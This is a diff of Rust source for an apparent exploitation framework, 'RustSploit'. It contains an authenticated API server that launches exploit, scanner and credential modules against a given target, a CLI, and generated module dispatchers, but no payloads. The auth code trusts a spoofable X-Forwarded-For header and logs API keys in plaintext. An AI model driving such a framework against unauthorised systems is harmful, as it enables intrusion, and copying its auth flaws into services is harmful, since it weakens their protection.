let trimmed = target.trim();
|
||||
trimmed == target && !target.contains("\r\n\r\n")
|
||||
}
|
||||
|
||||
impl ApiState {
|
||||
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
|
||||
let log_file = std::env::current_dir()
|
||||
.unwrap_or_else(|_| PathBuf::from("."))
|
||||
.join("rustsploit_api.log");
|
||||
|
||||
Self {
|
||||
current_key: Arc::new(RwLock::new(ApiKey {
|
||||
key: initial_key,
|
||||
created_at: Utc::now(),
|
||||
})),
|
||||
ip_tracker: Arc::new(RwLock::new(HashMap::new())),
|
||||
auth_failures: Arc::new(RwLock::new(HashMap::new())),
|
||||
harden_enabled: harden,
|
||||
ip_limit,
|
||||
log_file,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn rotate_key(&self) -> Result<String> {
|
||||
let new_key = Uuid::new_v4().to_string();
|
||||
let mut key_guard = self.current_key.write().await;
|
||||
key_guard.key = new_key.clone();
|
||||
key_guard.created_at = Utc::now();
|
||||
drop(key_guard);
|
||||
|
||||
// Clear IP tracker on rotation
|
||||
let mut tracker_guard = self.ip_tracker.write().await;
|
||||
tracker_guard.clear();
|
||||
drop(tracker_guard);
|
||||
|
||||
self.log_message(&format!(
|
||||
"[SECURITY] API key rotated at {}",
|
||||
Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
|
||||
))
|
||||
.await?;
|
||||
|
||||
Ok(new_key)
|
||||
}
|
||||
|
||||
pub async fn track_ip(&self, ip: &str) -> Result<bool> {
|
||||
if !self.harden_enabled {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
let mut tracker_guard = self.ip_tracker.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
if let Some(tracker) = tracker_guard.get_mut(ip) {
|
||||
// Update existing tracker - use all fields
|
||||
tracker.last_seen = now;
|
||||
tracker.request_count += 1;
|
||||
|
||||
// Log detailed tracking info using first_seen
|
||||
let duration = now.signed_duration_since(tracker.first_seen);
|
||||
let _ = self.log_message(&format!(
|
||||
"[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
|
||||
tracker.ip,
|
||||
tracker.request_count,
|
||||
tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
|
||||
duration.num_seconds()
|
||||
)).await;
|
||||
} else {
|
||||
// Create new tracker - all fields are set and will be used
|
||||
let new_tracker = IpTracker {
|
||||
ip: ip.to_string(),
|
||||
first_seen: now,
|
||||
last_seen: now,
|
||||
request_count: 1,
|
||||
};
|
||||
|
||||
// Log new IP using all fields
|
||||
let _ = self.log_message(&format!(
|
||||
"[TRACKING] New IP detected: {} (first seen: {})",
|
||||
new_tracker.ip,
|
||||
new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
|
||||
)).await;
|
||||
|
||||
tracker_guard.insert(ip.to_string(), new_tracker);
|
||||
}
|
||||
|
||||
let unique_ips = tracker_guard.len() as u32;
|
||||
drop(tracker_guard);
|
||||
|
||||
if unique_ips > self.ip_limit {
|
||||
let new_key = self.rotate_key().await?;
|
||||
self.log_message(&format!(
|
||||
"[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
|
||||
unique_ips, self.ip_limit, new_key
|
||||
))
|
||||
.await?;
|
||||
println!(
|
||||
"⚠️ [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
|
||||
unique_ips, self.ip_limit
|
||||
);
|
||||
println!("⚠️ New API key: {}", new_key);
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
pub async fn log_message(&self, message: &str) -> Result<()> {
|
||||
let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
|
||||
let safe = sanitize_for_log(message);
|
||||
let log_entry = format!("[{}] {}\n", timestamp, safe);
|
||||
|
||||
// Log to terminal
|
||||
println!("{}", log_entry.trim());
|
||||
|
||||
// Log to file
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&self.log_file)
|
||||
.await
|
||||
.context("Failed to open log file")?;
|
||||
|
||||
file.write_all(log_entry.as_bytes())
|
||||
.await
|
||||
.context("Failed to write to log file")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn verify_key(&self, provided_key: &str) -> bool {
|
||||
let key_guard = self.current_key.read().await;
|
||||
key_guard.key == provided_key
|
||||
}
|
||||
|
||||
pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
if let Some(tracker) = failures_guard.get_mut(ip) {
|
||||
// Check if IP is currently blocked
|
||||
if let Some(blocked_until) = tracker.blocked_until {
|
||||
if now < blocked_until {
|
||||
let remaining = (blocked_until - now).num_seconds();
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
|
||||
ip, remaining, tracker.failed_attempts
|
||||
))
|
||||
.await?;
|
||||
return Ok(false); // Blocked
|
||||
} else {
|
||||
// Block period expired, reset
|
||||
tracker.failed_attempts = 0;
|
||||
tracker.blocked_until = None;
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] Block period expired for IP {}, resetting counter",
|
||||
ip
|
||||
))
|
||||
.await?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(true) // Not blocked
|
||||
}
|
||||
|
||||
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
|
||||
AuthFailureTracker {
|
||||
ip: ip.to_string(),
|
||||
failed_attempts: 0,
|
||||
first_failure: now,
|
||||
blocked_until: None,
|
||||
}
|
||||
});
|
||||
|
||||
// Set first_failure if this is the first attempt
|
||||
if tracker.failed_attempts == 0 {
|
||||
tracker.first_failure = now;
|
||||
}
|
||||
|
||||
tracker.failed_attempts += 1;
|
||||
|
||||
// Block after 3 failed attempts for 30 seconds
|
||||
if tracker.failed_attempts >= 3 {
|
||||
let block_until = now + chrono::Duration::seconds(30);
|
||||
tracker.blocked_until = Some(block_until);
|
||||
|
||||
let duration_since_first = (now - tracker.first_failure).num_seconds();
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
|
||||
tracker.ip, tracker.failed_attempts,
|
||||
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
|
||||
duration_since_first
|
||||
))
|
||||
.await?;
|
||||
|
||||
println!(
|
||||
"🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
|
||||
tracker.ip, tracker.failed_attempts,
|
||||
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
|
||||
);
|
||||
} else {
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
|
||||
tracker.ip, tracker.failed_attempts,
|
||||
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
|
||||
))
|
||||
.await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
|
||||
if let Some(tracker) = failures_guard.get_mut(ip) {
|
||||
if tracker.failed_attempts > 0 {
|
||||
self.log_message(&format!(
|
||||
"[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
|
||||
ip, tracker.failed_attempts
|
||||
))
|
||||
.await?;
|
||||
}
|
||||
tracker.failed_attempts = 0;
|
||||
tracker.blocked_until = None;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
async fn auth_middleware(
|
||||
State(state): State<ApiState>,
|
||||
ConnectInfo(addr): ConnectInfo<SocketAddr>,
|
||||
headers: HeaderMap,
|
||||
request: Request,
|
||||
next: Next,
|
||||
) -> Response {
|
||||
// Extract IP address - try to get from headers first (for proxied requests)
|
||||
let client_ip = headers
|
||||
.get("x-forwarded-for")
|
||||
.or_else(|| headers.get("x-real-ip"))
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| {
|
||||
s.split(',')
|
||||
.next()
|
||||
.unwrap_or("")
|
||||
.trim()
|
||||
.to_string()
|
||||
})
|
||||
.filter(|s| !s.is_empty())
|
||||
.unwrap_or_else(|| addr.ip().to_string());
|
||||
|
||||
// Check rate limit before processing authentication
|
||||
if client_ip != "unknown" {
|
||||
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
|
||||
if !allowed {
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
|
||||
data: None,
|
||||
};
|
||||
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Extract API key from Authorization header
|
||||
let auth_header = headers
|
||||
.get("Authorization")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.unwrap_or("");
|
||||
|
||||
let provided_key = if auth_header.starts_with("Bearer ") {
|
||||
&auth_header[7..]
|
||||
} else if auth_header.starts_with("ApiKey ") {
|
||||
&auth_header[7..]
|
||||
} else {
|
||||
auth_header
|
||||
};
|
||||
|
||||
// Basic key format validation
|
||||
if !validate_api_key_format(provided_key) {
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Malformed API key".to_string(),
|
||||
data: None,
|
||||
};
|
||||
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
|
||||
}
|
||||
|
||||
// Verify API key
|
||||
let is_valid = state.verify_key(provided_key).await;
|
||||
|
||||
if !is_valid {
|
||||
// Record failed authentication attempt
|
||||
if client_ip != "unknown" {
|
||||
let _ = state.record_auth_failure(&client_ip).await;
|
||||
}
|
||||
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Invalid API key".to_string(),
|
||||
data: None,
|
||||
};
|
||||
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
|
||||
}
|
||||
|
||||
// Successful authentication - reset failure counter for this IP
|
||||
if client_ip != "unknown" {
|
||||
let _ = state.reset_auth_failures(&client_ip).await;
|
||||
}
|
||||
|
||||
// Track IP for hardening (if enabled)
|
||||
let _ = state.track_ip(&client_ip).await;
|
||||
|
||||
next.run(request).await
|
||||
}
|
||||
|
||||
async fn health_check() -> Json<ApiResponse> {
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "API is running".to_string(),
|
||||
data: None,
|
||||
})
|
||||
}
|
||||
|
||||
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
|
||||
let modules = commands::discover_modules();
|
||||
let mut exploits = Vec::new();
|
||||
let mut scanners = Vec::new();
|
||||
let mut creds = Vec::new();
|
||||
|
||||
for module in modules {
|
||||
if module.starts_with("exploits/") {
|
||||
exploits.push(module);
|
||||
} else if module.starts_with("scanners/") {
|
||||
scanners.push(module);
|
||||
} else if module.starts_with("creds/") {
|
||||
creds.push(module);
|
||||
}
|
||||
}
|
||||
|
||||
let data = ListModulesResponse {
|
||||
exploits,
|
||||
scanners,
|
||||
creds,
|
||||
};
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "Modules retrieved successfully".to_string(),
|
||||
data: Some(serde_json::to_value(data).unwrap()),
|
||||
})
|
||||
}
|
||||
|
||||
async fn run_module(
|
||||
State(state): State<ApiState>,
|
||||
Json(payload): Json<RunModuleRequest>,
|
||||
) -> Result<Json<ApiResponse>, StatusCode> {
|
||||
let module_name_raw = payload.module.as_str();
|
||||
let target_raw = payload.target.as_str();
|
||||
|
||||
// Validate inputs
|
||||
if !validate_module_name(module_name_raw) {
|
||||
return Err(StatusCode::BAD_REQUEST);
|
||||
}
|
||||
if !validate_target(target_raw) {
|
||||
return Err(StatusCode::BAD_REQUEST);
|
||||
}
|
||||
|
||||
// Sanitize for logging only
|
||||
let module_name = sanitize_for_log(module_name_raw);
|
||||
let target_name = sanitize_for_log(target_raw);
|
||||
|
||||
state
|
||||
.log_message(&format!(
|
||||
"API request: run module '{}' on target '{}'",
|
||||
module_name, target_name
|
||||
))
|
||||
.await
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
|
||||
// Run the module in a separate OS thread since some modules aren't Send
|
||||
let module = payload.module.clone();
|
||||
let target = payload.target.clone();
|
||||
let state_clone = state.clone();
|
||||
|
||||
// Use std::thread to run in a separate OS thread with its own runtime
|
||||
std::thread::spawn(move || {
|
||||
// Create a new runtime for this thread since modules need async runtime
|
||||
let rt = tokio::runtime::Runtime::new().unwrap();
|
||||
rt.block_on(async {
|
||||
if let Err(e) = commands::run_module(&module, &target).await {
|
||||
let _ = state_clone
|
||||
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
|
||||
.await;
|
||||
} else {
|
||||
let _ = state_clone
|
||||
.log_message(&format!(
|
||||
"Successfully completed module '{}' on target '{}'",
|
||||
sanitize_for_log(&module), sanitize_for_log(&target)
|
||||
))
|
||||
.await;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
Ok(Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
|
||||
data: None,
|
||||
}))
|
||||
}
|
||||
|
||||
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
let key_guard = state.current_key.read().await;
|
||||
let tracker_guard = state.ip_tracker.read().await;
|
||||
|
||||
// Collect all tracked IPs with their details
|
||||
let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
|
||||
let ip_details: Vec<serde_json::Value> = tracked_ips
|
||||
.iter()
|
||||
.map(|tracker| {
|
||||
serde_json::json!({
|
||||
"ip": tracker.ip,
|
||||
"first_seen": tracker.first_seen.to_rfc3339(),
|
||||
"last_seen": tracker.last_seen.to_rfc3339(),
|
||||
"request_count": tracker.request_count,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let status_data = serde_json::json!({
|
||||
"harden_enabled": state.harden_enabled,
|
||||
"ip_limit": state.ip_limit,
|
||||
"unique_ips": tracker_guard.len(),
|
||||
"key_created_at": key_guard.created_at.to_rfc3339(),
|
||||
"log_file": state.log_file.to_string_lossy(),
|
||||
"tracked_ips": ip_details,
|
||||
});
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "Status retrieved successfully".to_string(),
|
||||
data: Some(status_data),
|
||||
})
|
||||
}
|
||||
|
||||
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
|
||||
let new_key = state
|
||||
.rotate_key()
|
||||
.await
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
|
||||
Ok(Json(ApiResponse {
|
||||
success: true,
|
||||
message: "API key rotated successfully".to_string(),
|
||||
data: Some(serde_json::json!({ "new_key": new_key })),
|
||||
}))
|
||||
}
|
||||
|
||||
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
let tracker_guard = state.ip_tracker.read().await;
|
||||
let failures_guard = state.auth_failures.read().await;
|
||||
|
||||
// Use all fields from IpTracker
|
||||
let ips: Vec<serde_json::Value> = tracker_guard
|
||||
.values()
|
||||
.map(|tracker| {
|
||||
// Get auth failure info for this IP if it exists
|
||||
let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
|
||||
serde_json::json!({
|
||||
"failed_attempts": fail.failed_attempts,
|
||||
"first_failure": fail.first_failure.to_rfc3339(),
|
||||
"blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
|
||||
"is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
|
||||
})
|
||||
});
|
||||
|
||||
serde_json::json!({
|
||||
"ip": tracker.ip,
|
||||
"first_seen": tracker.first_seen.to_rfc3339(),
|
||||
"last_seen": tracker.last_seen.to_rfc3339(),
|
||||
"request_count": tracker.request_count,
|
||||
"duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
|
||||
"auth_failures": auth_info,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Retrieved {} tracked IP addresses", ips.len()),
|
||||
data: Some(serde_json::json!({ "ips": ips })),
|
||||
})
|
||||
}
|
||||
|
||||
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
let failures_guard = state.auth_failures.read().await;
|
||||
let now = Utc::now();
|
||||
|
||||
// Use all fields from AuthFailureTracker
|
||||
let failures: Vec<serde_json::Value> = failures_guard
|
||||
.values()
|
||||
.map(|tracker| {
|
||||
let is_blocked = tracker.blocked_until
|
||||
.map(|blocked_until| now < blocked_until)
|
||||
.unwrap_or(false);
|
||||
|
||||
let remaining_seconds = if is_blocked {
|
||||
tracker.blocked_until
|
||||
.map(|blocked_until| (blocked_until - now).num_seconds())
|
||||
.unwrap_or(0)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
serde_json::json!({
|
||||
"ip": tracker.ip,
|
||||
"failed_attempts": tracker.failed_attempts,
|
||||
"first_failure": tracker.first_failure.to_rfc3339(),
|
||||
"blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
|
||||
"is_blocked": is_blocked,
|
||||
"remaining_block_seconds": remaining_seconds,
|
||||
"duration_since_first": (now - tracker.first_failure).num_seconds(),
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
|
||||
data: Some(serde_json::json!({ "auth_failures": failures })),
|
||||
})
|
||||
}
|
||||
|
||||
pub async fn start_api_server(
|
||||
bind_address: &str,
|
||||
api_key: String,
|
||||
harden: bool,
|
||||
ip_limit: u32,
|
||||
) -> Result<()> {
|
||||
let state = ApiState::new(api_key.clone(), harden, ip_limit);
|
||||
|
||||
// Log initial startup
|
||||
state
|
||||
.log_message(&format!(
|
||||
"Starting API server on {} with hardening: {}, IP limit: {}",
|
||||
bind_address, harden, ip_limit
|
||||
))
|
||||
.await?;
|
||||
|
||||
println!("🚀 Starting RustSploit API server...");
|
||||
println!("📍 Binding to: {}", bind_address);
|
||||
println!("🔑 Initial API key: {}", api_key);
|
||||
println!("🛡️ Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
|
||||
if harden {
|
||||
println!("📊 IP limit: {}", ip_limit);
|
||||
}
|
||||
println!("📝 Log file: {}", state.log_file.display());
|
||||
|
||||
// Create routes that require authentication
|
||||
let protected_routes = Router::new()
|
||||
.route("/api/modules", get(list_modules))
|
||||
.route("/api/run", post(run_module))
|
||||
.route("/api/status", get(get_status))
|
||||
.route("/api/rotate-key", post(rotate_key_endpoint))
|
||||
.route("/api/ips", get(get_tracked_ips))
|
||||
.route("/api/auth-failures", get(get_auth_failures))
|
||||
.layer(axum::middleware::from_fn_with_state(
|
||||
state.clone(),
|
||||
auth_middleware,
|
||||
));
|
||||
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.merge(protected_routes)
|
||||
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
|
||||
.with_state(state);
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
.await
|
||||
.context(format!("Failed to bind to {}", bind_address))?;
|
||||
|
||||
println!("✅ API server is running! Use the API key in Authorization header.");
|
||||
println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
|
||||
|
||||
axum::serve(
|
||||
listener,
|
||||
app.into_make_service_with_connect_info::<SocketAddr>(),
|
||||
)
|
||||
.await
|
||||
.context("API server error")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
-42
@@ -1,42 +0,0 @@
|
||||
use clap::{ArgGroup, Parser};
|
||||
|
||||
/// Simple RouterSploit-like CLI in Rust
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
#[clap(group(
|
||||
ArgGroup::new("mode")
|
||||
.required(false)
|
||||
.args(&["command", "api"])
|
||||
))]
|
||||
pub struct Cli {
|
||||
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
|
||||
pub command: Option<String>,
|
||||
|
||||
/// Target IP or hostname
|
||||
#[arg(short, long)]
|
||||
pub target: Option<String>,
|
||||
|
||||
/// Module name to use
|
||||
#[arg(short, long)]
|
||||
pub module: Option<String>,
|
||||
|
||||
/// Launch API server mode
|
||||
#[arg(long)]
|
||||
pub api: bool,
|
||||
|
||||
/// API key for authentication (required when --api is used)
|
||||
#[arg(long, requires = "api")]
|
||||
pub api_key: Option<String>,
|
||||
|
||||
/// Enable hardening mode (auto-rotate API key on suspicious activity)
|
||||
#[arg(long, requires = "api")]
|
||||
pub harden: bool,
|
||||
|
||||
/// Network interface to bind API server to (default: 0.0.0.0)
|
||||
#[arg(long, requires = "api", default_value = "0.0.0.0")]
|
||||
pub interface: Option<String>,
|
||||
|
||||
/// IP limit for hardening mode (default: 10 unique IPs)
|
||||
#[arg(long, requires = "harden", default_value = "10")]
|
||||
pub ip_limit: Option<u32>,
|
||||
}
|
||||
@@ -1,7 +0,0 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
|
||||
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
// Keep dispatch file naming consistent with build.rs
|
||||
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let creds_root = Path::new("src/modules/creds");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Generate dispatch function
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found cred module: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,7 +0,0 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let exploits_root = Path::new("src/modules/exploits");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found exploit: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,101 +0,0 @@
|
||||
pub mod exploit;
|
||||
pub mod scanner;
|
||||
pub mod creds;
|
||||
|
||||
use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use walkdir::WalkDir;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let raw = cli_args.target.clone().unwrap_or_default();
|
||||
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let trimmed = module.trim_start_matches("exploits/");
|
||||
exploit::run_exploit(trimmed, &target).await?;
|
||||
},
|
||||
"scanner" => {
|
||||
let trimmed = module.trim_start_matches("scanners/");
|
||||
scanner::run_scan(trimmed, &target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
let trimmed = module.trim_start_matches("creds/");
|
||||
creds::run_cred_check(trimmed, &target).await?;
|
||||
},
|
||||
_ => {
|
||||
eprintln!("Unknown command '{}'", command);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Interactive shell: handles `run` with raw target string
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/')
|
||||
.map(|(_, short)| short == module_path)
|
||||
.unwrap_or(false)
|
||||
});
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
for m in available {
|
||||
println!(" {}", m);
|
||||
}
|
||||
return Ok(());
|
||||
};
|
||||
|
||||
let target = normalize_target(raw_target)?;
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
